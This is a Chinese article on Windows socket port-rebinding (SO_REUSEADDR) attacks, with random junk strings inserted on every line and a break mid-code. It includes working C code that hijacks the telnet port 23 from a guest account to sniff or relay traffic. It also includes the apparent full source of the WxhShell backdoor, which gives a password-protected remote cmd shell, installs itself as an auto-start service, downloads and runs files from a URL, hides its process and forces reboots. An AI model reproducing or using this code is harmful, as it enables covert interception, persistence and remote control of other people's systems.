在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WNb$2q= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
qj6`nbZ{va 0uz"}v) saddr.sin_family = AF_INET;
v/czW\z K*Jtyy}r saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ja;5:=8A5 i-?zwVmn bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ln_l>X6j51 ]K7 64} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V</T$V$ FZnHG;af 这意味着什么?意味着可以进行如下的攻击:
X6.O; XX-T", 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
r(i)9RI+( A7C+&I!L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
uC(S`Q[Bg W6O.E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pU ]{Z( n6G&^Oj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#0u69 JJ?ri, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%h"<
IA
S. XyphQ}\u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r$FM8$cJ (u&yb!` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5"am>$rh mzB#O;3= #include
kA<r:/ #include
iwJ-<v_:h #include
`^-Be #include
3Z:!o$ DWORD WINAPI ClientThread(LPVOID lpParam);
\~t~R q int main()
THgzT\_zq {
WlQ=CRY WORD wVersionRequested;
f_h"gZWV DWORD ret;
kQd[E-b7 WSADATA wsaData;
K4/P(*r` BOOL val;
rg^\BUa-W, SOCKADDR_IN saddr;
P .4b+9Tx SOCKADDR_IN scaddr;
G=!bM(]R~ int err;
`$Fl gp0P SOCKET s;
0aTbzOn& SOCKET sc;
qb>r\bc int caddsize;
@b*T4hwA. HANDLE mt;
%[\x%m) DWORD tid;
5rA!VES T wVersionRequested = MAKEWORD( 2, 2 );
y?z _^ppj err = WSAStartup( wVersionRequested, &wsaData );
BKa A=Bl if ( err != 0 ) {
R'*<A3^ printf("error!WSAStartup failed!\n");
6@"Vqm|HD return -1;
. o-0aBG }
IV)^;i saddr.sin_family = AF_INET;
KotPV 4^
c!_K&& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[GtcaX{Zz Y*5Z)h
1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6!4';2Q saddr.sin_port = htons(23);
NY4!TOp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|?\gEY-Se {
Wr]O printf("error!socket failed!\n");
l_^T&xq8 return -1;
X}3P1.n: }
gsW=3m&` val = TRUE;
~Y\QGuT //SO_REUSEADDR选项就是可以实现端口重绑定的
eeZIa`.sX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_aVJ$N. {
99J+$A1 printf("error!setsockopt failed!\n");
Gh2#-~|cB return -1;
A{4Dzm ! }
G1kDM.L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6kP7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pgCd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Q}WL/X5 6a7vlo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?lF mXZy` {
EC<5M5Lc ret=GetLastError();
MK omq printf("error!bind failed!\n");
z9^c]U U)E return -1;
/j11,O?72 }
_8al listen(s,2);
|Mt&p#y while(1)
!IN@i:m {
9t#P~>:jY} caddsize = sizeof(scaddr);
yDzdE; //接受连接请求
b9`i Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+a #lofhv if(sc!=INVALID_SOCKET)
p7s@%scp {
%?Rs*-F.~1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-H`\?
R if(mt==NULL)
yE}BfU { . {
}X.>4\B5 printf("Thread Creat Failed!\n");
6eM6[ break;
#$FY+` }
MvBD@`&7 }
21ViHV CloseHandle(mt);
*
flW L }
C>4UbU closesocket(s);
V`by*s WSACleanup();
{$0&R$v3 return 0;
o!=WFAi[pX }
^xt9pa$f DWORD WINAPI ClientThread(LPVOID lpParam)
`YU=~xQ {
MA$Xv`6I\ SOCKET ss = (SOCKET)lpParam;
t}VwVf<K SOCKET sc;
JIMWMk;ot unsigned char buf[4096];
DKTD Z* SOCKADDR_IN saddr;
_|X7
n~ long num;
4#_$@ r DWORD val;
, |l@j% DWORD ret;
IfMpY;ow= //如果是隐藏端口应用的话,可以在此处加一些判断
y+A{Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]rnXNn; saddr.sin_family = AF_INET;
{c@G$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;T>+, saddr.sin_port = htons(23);
0yz~W(tsm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&+G;R {
=-Nsc1& printf("error!socket failed!\n");
x#mtS-sw2Q return -1;
MxTmWsaW }
q? 9GrwL8F val = 100;
'B`#:tX^N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O:e#!C8^ {
DT\ym9 ret = GetLastError();
bK4&=#Zh return -1;
6{.J:S9n
}
NI.`mc6Xd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4-V)_U#8 {
bAiJn< ret = GetLastError();
krjN7& return -1;
Xk,>l6vc }
88 l,&2q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CW-A e {
JDA]t&D!v printf("error!socket connect failed!\n");
aMJ;bQD
closesocket(sc);
)7Ixz1I9g closesocket(ss);
}Eh*xOta return -1;
EnJ!mr }
f-D>3qSS while(1)
H\#:,s {1 {
f4"4ZVcr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DP*@dFU" //如果是嗅探内容的话,可以再此处进行内容分析和记录
XYAmJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R=M!e<' num = recv(ss,buf,4096,0);
Qqq
<e if(num>0)
V`bs&5#Sx send(sc,buf,num,0);
~O03Sit- else if(num==0)
/:p8I6; break;
e_rzA num = recv(sc,buf,4096,0);
QDE$E.a if(num>0)
_a5(s2wq+ send(ss,buf,num,0);
HnU Et/ else if(num==0)
au$"B/ break;
BJ5}GX! }
eW50s`bKY closesocket(ss);
d#>y }H9 closesocket(sc);
CT*,<l-D return 0 ;
H~o <AmE0! }
2f,2rW^i .Dw,"VHP /;oqf4MF ==========================================================
PJ
q yvbD /!T> b:0 下边附上一个代码,,WXhSHELL
0m)&YFZ[( dR+1aY; ==========================================================
,.v7FM^gO ROdK8*jL #include "stdafx.h"
DWm SC}{. ?WFh',`: #include <stdio.h>
lddp^ #f #include <string.h>
4["&O=:d #include <windows.h>
E\ th%q,mG #include <winsock2.h>
YRcps0Dx9 #include <winsvc.h>
8)wt$b #include <urlmon.h>
D7?C !')y&7a~ #pragma comment (lib, "Ws2_32.lib")
;t(f1rPyE #pragma comment (lib, "urlmon.lib")
Zyye%Ly e@n!x}t8 #define MAX_USER 100 // 最大客户端连接数
I1"MPx{ #define BUF_SOCK 200 // sock buffer
\x+3f #define KEY_BUFF 255 // 输入 buffer
KQ`=t 76H!)={ #define REBOOT 0 // 重启
(^n*Am;zlH #define SHUTDOWN 1 // 关机
ig_2={Q@ ziEz.Wn" #define DEF_PORT 5000 // 监听端口
nII^mg~ A6"Hk0Hf #define REG_LEN 16 // 注册表键长度
XL5Es:"+?S #define SVC_LEN 80 // NT服务名长度
f3tv3>p #"f'7'TE // 从dll定义API
v:|(8Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:`Az/U[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5VE2@Fn} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-?a<qa?$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,mFsM!| |qN'P}L // wxhshell配置信息
[QczlwmO struct WSCFG {
S h4wqf int ws_port; // 监听端口
,,<PVTd char ws_passstr[REG_LEN]; // 口令
W/+K9S25 int ws_autoins; // 安装标记, 1=yes 0=no
zO=%J)-= char ws_regname[REG_LEN]; // 注册表键名
E]} n( char ws_svcname[REG_LEN]; // 服务名
=
+Xc4a char ws_svcdisp[SVC_LEN]; // 服务显示名
, c;eN char ws_svcdesc[SVC_LEN]; // 服务描述信息
NgZUnh3{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=VP=|g int ws_downexe; // 下载执行标记, 1=yes 0=no
e}{U7xQm1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#D%ygh= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
f [o%hCS 8im@4A+n` };
Q<"[C
1Lj >cR)?P/o // default Wxhshell configuration
+M\8>/0oA struct WSCFG wscfg={DEF_PORT,
!~iGu\y "xuhuanlingzhe",
nCxAQ|P? 1,
=y]$0nh "Wxhshell",
!.HnGb+ "Wxhshell",
C;rG]t^% "WxhShell Service",
#Gf+=G "Wrsky Windows CmdShell Service",
HAB#pd9 "Please Input Your Password: ",
`NNf&y)y 1,
TH1B#Y#<J "
http://www.wrsky.com/wxhshell.exe",
,^s "Wxhshell.exe"
mDMt5(. };
n \G Ry' ;?L\Fz(< // 消息定义模块
vK'?:}~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
pBJAaCGm char *msg_ws_prompt="\n\r? for help\n\r#>";
5z/Er".P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2XSHZ|; char *msg_ws_ext="\n\rExit.";
9s$U%F6} char *msg_ws_end="\n\rQuit.";
uOi&G:= char *msg_ws_boot="\n\rReboot...";
i u]&; char *msg_ws_poff="\n\rShutdown...";
:
mGAt[Cc char *msg_ws_down="\n\rSave to ";
(!K_Fy@ $17
su') char *msg_ws_err="\n\rErr!";
<,%:
char *msg_ws_ok="\n\rOK!";
c+' =hR[ #;tT8[Ewuw char ExeFile[MAX_PATH];
yX/";Oe
int nUser = 0;
%1U`@0 HANDLE handles[MAX_USER];
udqS'g& int OsIsNt;
7*H:Ob)9k 2 YxT MT SERVICE_STATUS serviceStatus;
d+L#t SERVICE_STATUS_HANDLE hServiceStatusHandle;
Es5p}uh.[Y wzWbB2Mb5 // 函数声明
quu*xJ;Ci int Install(void);
x%>
e)L< int Uninstall(void);
||B;o- int DownloadFile(char *sURL, SOCKET wsh);
WOytxE int Boot(int flag);
n-;y*kD void HideProc(void);
M^madx6` int GetOsVer(void);
b`mj_b int Wxhshell(SOCKET wsl);
hsLzj\)6 void TalkWithClient(void *cs);
A7XnHPIw int CmdShell(SOCKET sock);
3TuC+'`G int StartFromService(void);
/\d$/~BFi int StartWxhshell(LPSTR lpCmdLine);
=H5\$&xj4. LJzH"K[Gg6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vP-M,4c VOID WINAPI NTServiceHandler( DWORD fdwControl );
6vzk\n B/uniR^x // 数据结构和表定义
"dh:-x6 SERVICE_TABLE_ENTRY DispatchTable[] =
v6a]1B {
K`:=]Z8 {wscfg.ws_svcname, NTServiceMain},
` (4pu6uT {NULL, NULL}
h rN% };
V~{
_3YY @Cq? :o< // 自我安装
xBnbF[ int Install(void)
uV6g[J {
D@YP7 char svExeFile[MAX_PATH];
r8M Zvm2 HKEY key;
"E!mva*NU strcpy(svExeFile,ExeFile);
&x:JD1T} +*nGp5=^GE // 如果是win9x系统,修改注册表设为自启动
MFit|C if(!OsIsNt) {
),^eA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w2gf&Lc\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ik1tidw RegCloseKey(key);
eOlKbJU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qB6dFl\ ( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'{?C{MK3Q RegCloseKey(key);
v@
C,RP9 return 0;
i^Ut015q% }
mPZGA\ }
>%b\yl%0 }
>
dZ3+f else {
i\}:hU-U H:&?ha,9 // 如果是NT以上系统,安装为系统服务
[.yJV` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m$Y
:0_^- if (schSCManager!=0)
X~T/qFS {
9>*c_ SC_HANDLE schService = CreateService
$r.U (
b}z`BRCc schSCManager,
\|=mD}N wscfg.ws_svcname,
3 pWM~(#>- wscfg.ws_svcdisp,
)6oGF>o> SERVICE_ALL_ACCESS,
C9tb \?# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
gvavs+H% SERVICE_AUTO_START,
[uuj?Rbd SERVICE_ERROR_NORMAL,
mNmUUj9z svExeFile,
n~0z_;5 NULL,
c=p=-j=.J NULL,
m9$:9yRm NULL,
G$WOzY( NULL,
I+?hG6NM NULL
D#rrW?-z );
u:P~j if (schService!=0)
l[h'6+o {
1JS2SxF CloseServiceHandle(schService);
_2Py\+$ CloseServiceHandle(schSCManager);
2!&pEqs strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&_-](w` strcat(svExeFile,wscfg.ws_svcname);
]?l{j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m\0cE1fir RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|Ur"za;%@ RegCloseKey(key);
S>:,z}i return 0;
kT oOIx }
rzLd"` }
[I+9dSM1t CloseServiceHandle(schSCManager);
jZ9[=? }
|7F*MP }
ur%$aX) h SV@TL return 1;
RVM&4#E }
JJk#,AP ? Nj)6_& // 自我卸载
aq>?vti1D int Uninstall(void)
UZxmhsv {
]#eh&jw HKEY key;
5G*II_j )m#']c:rg if(!OsIsNt) {
c[(Pg% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:{}_|]>K RegDeleteValue(key,wscfg.ws_regname);
BSUPS+@+ RegCloseKey(key);
XAic9SNu; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
05e>\}{0 RegDeleteValue(key,wscfg.ws_regname);
pdz'!I RegCloseKey(key);
wyQb5n2`;~ return 0;
o0Gx%99' }
s-D?) }
4F#%f#" }
(cV else {
JZx%J) l)Mh2lA,= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
tbG8MXX if (schSCManager!=0)
PZOORjF8A {
)U98 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
VXC4% if (schService!=0)
Jt=>-Spj {
Alu5$6X if(DeleteService(schService)!=0) {
L|67f4 CloseServiceHandle(schService);
(V9h2g&8L CloseServiceHandle(schSCManager);
gGbI3^r# return 0;
h}6_ybmZ }
TA;,>f* CloseServiceHandle(schService);
xqWj|jA }
h6QWH CloseServiceHandle(schSCManager);
rO^xz7K^ }
<Jwo?[a }
iZ Ta>@ oyvtZ/@ return 1;
1uM/2sX }
Czu1 )y o;;,iHu* // 从指定url下载文件
I~RcOiL) int DownloadFile(char *sURL, SOCKET wsh)
yQ-hnlzn~ {
SCq3Ds^ HRESULT hr;
w2Kq(^? char seps[]= "/";
cjY@Ot*i$ char *token;
z93nYY$`Y char *file;
_LLshV3 char myURL[MAX_PATH];
p#<nK+6.8 char myFILE[MAX_PATH];
C'<'7g4 |[WL2< strcpy(myURL,sURL);
$rB!Ex{@ac token=strtok(myURL,seps);
..$>7y} while(token!=NULL)
,.7vBt6 p {
y:9?P~ file=token;
|_I[1%&`N token=strtok(NULL,seps);
*1,=qRjL }
1^sb T[%R m)k-uWc$C GetCurrentDirectory(MAX_PATH,myFILE);
D;C5,rNt strcat(myFILE, "\\");
Nh:4ys!P strcat(myFILE, file);
.b~OMTHuvM send(wsh,myFILE,strlen(myFILE),0);
/&6Q) send(wsh,"...",3,0);
'\'7yN' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lb95!.av+I if(hr==S_OK)
d~/xGB`< return 0;
K*:Im#Q else
w 3d\0ub return 1;
QRiF!D)Nk #:I^&~:
}
7YD\ !2b !xH,y // 系统电源模块
++gPv}:$X int Boot(int flag)
%|bN@@ {
R/rcXX7% HANDLE hToken;
*NF&Y TOKEN_PRIVILEGES tkp;
WS5"!vz 8nf4Jk8r if(OsIsNt) {
`U!(cDY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F*.
/D~K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
IY~
{)X tkp.PrivilegeCount = 1;
sgD@}":m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'l8eH$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W=F3XYS if(flag==REBOOT) {
VAt>ji7c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[e1\A&T return 0;
Ipg\9*c` }
69-$Wn43< else {
_3I3AG0e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
% hNn%Oy:E return 0;
:nt}7Dn' }
c.\:peDk }
uH=Gt^_ else {
v F] if(flag==REBOOT) {
0:HC;J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]m RF[b$ return 0;
x}uwWfe 3 }
RlPjki"Mg else {
1XQ87~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
vW9^hbdx return 0;
= SA
4\/ }
?Z5$0-g'hU }
VN?<[#ij IM$'J return 1;
ER/\ +Z#Z }
nIG[{gGX byp.V_a}/ // win9x进程隐藏模块
hcj{%^p void HideProc(void)
:U7;M}0 {
Qh/lT$g K@I+]5E%? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*
.oi3m if ( hKernel != NULL )
H 3W_}f {
!d/`[9jY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qdKh6{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
AX/=}G FreeLibrary(hKernel);
}ZxW"5oq }
RJQ/y3 Kw)C{L5a return;
C,V|TF.i2 }
BASO$?jf4 /M5=tW#e // 获取操作系统版本
y[TaM9< int GetOsVer(void)
:h3#1fko {
avF&F OSVERSIONINFO winfo;
T[`QO`\5O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hj%}GP{{ GetVersionEx(&winfo);
|j\eBCnH3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*C,$W\6sz return 1;
#u!y`lek else
@`#OC# return 0;
G:H(IA7Z }
(\5<GCW- '5&B~ 1& // 客户端句柄模块
k
i~Raa/e int Wxhshell(SOCKET wsl)
Yqq$kln {
"Wzij&WkQ SOCKET wsh;
`K1PGibV struct sockaddr_in client;
2d,wrC<'$ DWORD myID;
gME:\ud$ -K{\S2 while(nUser<MAX_USER)
P2<gHJ9t {
F5b]/;| int nSize=sizeof(client);
+9&ulr wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
hfVzzVX: if(wsh==INVALID_SOCKET) return 1;
dA3`b*nC B$iMU?B3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/
r`Y'rm if(handles[nUser]==0)
74</6T]^ closesocket(wsh);
0hEF$d6U else
U^WQWa nUser++;
X F0*d~4 }
9
u6
g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x;]{ 8#-z ZUI\0qh+ return 0;
6&Ir0K/ }
40sLZa)e U@AfRUF& // 关闭 socket
#.t{g8W\C void CloseIt(SOCKET wsh)
<;Z3
5{ {
hd
BC ^n closesocket(wsh);
:|mkI#P. nUser--;
/'_ RI ExitThread(0);
swgBPJ"? }
UN 4)>\Y D}U<7=\3H // 客户端请求句柄
*w,gi.Y3 void TalkWithClient(void *cs)
+B|X
k[ {
e[dRHl ymCIk/\ SOCKET wsh=(SOCKET)cs;
A)\DPLAG char pwd[SVC_LEN];
~ b_gwJ' char cmd[KEY_BUFF];
`v{X@ x char chr[1];
fb;"J+ int i,j;
zQ+t@;g1 #Kr.!uD while (nUser < MAX_USER) {
Y--8v#t e>Y2q|S85 if(wscfg.ws_passstr) {
5hK\YTU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`R?W @,@' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xJGeIh5 //ZeroMemory(pwd,KEY_BUFF);
X1dG'PQ i=0;
gD=5M\ while(i<SVC_LEN) {
B9-[wg#0G ]*U') // 设置超时
=Q/>g6 fd_set FdRead;
X5<.%@Z struct timeval TimeOut;
AwrK82 FD_ZERO(&FdRead);
ljON_* FD_SET(wsh,&FdRead);
x@}Fn:c!5 TimeOut.tv_sec=8;
(W!$6+GT TimeOut.tv_usec=0;
NyLnE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!17Z\Ltqyj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
gXJ^o;R>M lHqx}n@e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p2(_YN;s pwd
=chr[0]; H12@12v
if(chr[0]==0xd || chr[0]==0xa) { d]`,}vi#E9
pwd=0; N|S xAg
break; #B9[U}
8
} #wiP{+%b
i++; +cH(nZ*f
} ]l%.X7M9
Ti'kn{
Zv
// 如果是非法用户,关闭 socket Uk6!Sb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j56 An6g
} w%n]~w=8
w'XgW0j{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J7vpCw2ni
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [+z:^a1?V
W
F<V2o{k
while(1) { #+k[[; 0
3)SZVME1Z
ZeroMemory(cmd,KEY_BUFF); 0g-ESf``{n
2,0F8=L
// 自动支持客户端 telnet标准 7d)' y
j=0; $uh DBmb
while(j<KEY_BUFF) { C<XDQ>?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 09s}@C
cmd[j]=chr[0]; I_7EfAqg(
if(chr[0]==0xa || chr[0]==0xd) { AAgA]OD,
cmd[j]=0; !*6z=:J
break; 2z3A"HrlA
} \S@6@UGv
j++; 'O9=*L)X
} f34&:xz2U
uD5yw#`
// 下载文件 cU|jT8Q4H
if(strstr(cmd,"http://")) { [{$0E=&0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _<Yo2,1^
if(DownloadFile(cmd,wsh)) :X*LlN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BxYA[#fd}
else 1H7Q[ 2E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H%aLkV!J
} FoCkTp+/
else { \}NWR{=
Dj(7'jT
switch(cmd[0]) { 8-YrmP2k
uF"`y&go
// 帮助 );H[lKy
case '?': { ZNeqsN{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o1+]6s+j}
break; IQ~7vk()
} Q@VnJ,
// 安装 4LJ}>e
case 'i': { rF3]AW(
if(Install()) +Q0-jS#d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZxF)]^
else F6VIH(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |9$'?4F
break; ,8nZzVo
} z}8L}:
// 卸载 ?I#hrv@
case 'r': { Cbs4`D,
if(Uninstall()) Nj&%xe>].
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tN> B$sv
else "m;]6B."
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OUO^/]
J1S
break; pu*u[n
} w1(06A}/
// 显示 wxhshell 所在路径 g@VndAp
case 'p': { >ImM~SR)
char svExeFile[MAX_PATH]; UC/2&7?
strcpy(svExeFile,"\n\r"); ~c$ts&Cl
strcat(svExeFile,ExeFile); Jd"s~n<>K
send(wsh,svExeFile,strlen(svExeFile),0); h!CX`pBM
break; ?QT"sj64w
} &})d%*n
// 重启 #ic 2ofI
case 'b': { 05I39/T%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f,inQ2f}d
if(Boot(REBOOT)) k|Yv8+XT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<altz_\q
else { @Qjl`SL%O^
closesocket(wsh); 4{WV
ExitThread(0); Cf=q_\0|W
} 7 P^{*!
break; 5po'(r|U
} 1za'u_
// 关机 $"{3yLg
case 'd': { jNG?2/P6&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #IGoz|m
if(Boot(SHUTDOWN)) wW! r}I#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDHHQ
else { 4S0++Hp4
closesocket(wsh); RR"WO
ExitThread(0); qTh='~m4[
} Fxth>O`$
break; A~GtK\=;
} m|2]lb
// 获取shell V*7Z,nA
case 's': { Q}?N4kg
CmdShell(wsh); 2]aZe4H.
closesocket(wsh); $:BK{,\
ExitThread(0); j_'rhEdLP
break; tGO[A#9a
} ncJFB,4
// 退出 +fP/|A8P
case 'x': { ,rB9esxic
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KjwY'aYwr:
CloseIt(wsh); g
y e(/N+I
break; DR yESi
} ]O7.ss/2
// 离开 <K#'3&*$s
case 'q': { $]H=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /#qs(!
d
closesocket(wsh); Ng'ZAG;O
WSACleanup(); TcKvSdr'
exit(1); @ "{' j
break; Y7kb1UG
} +r-dr>&H@
} v :+8U[x
} Dz8:;$/
6_%]\37_Z
// 提示信息 c.8((h/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KM6N'x ^z
} 5@UC c
} qF{DArc
4P4 Fo1
return; T}t E/
} kByrhK5U
2 ]V>J
// shell模块句柄 CP]S-o}yd
int CmdShell(SOCKET sock) 9QH9gdiw
{ YXX36
STARTUPINFO si; rQcRjh+E
H
ZeroMemory(&si,sizeof(si)); 5PGlR!^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a/QtJwIV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R81{<q'%X
PROCESS_INFORMATION ProcessInfo; <Qcex3
char cmdline[]="cmd"; #*Yi4Cn<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v@fe-T&0
return 0; P.LuF(?$
} *2,e=tY>
<G~}N
// 自身启动模式 r=~WMDCz@
int StartFromService(void) @K$VV^wp
{ t['k%c
typedef struct Pt6hGSo.
{ 0%xR<<gir
DWORD ExitStatus; Uvjdx(fY[a
DWORD PebBaseAddress; qIbg
4uE
DWORD AffinityMask; eVw\v#gd
DWORD BasePriority; .M9d*qp`S
ULONG UniqueProcessId; I 1 b
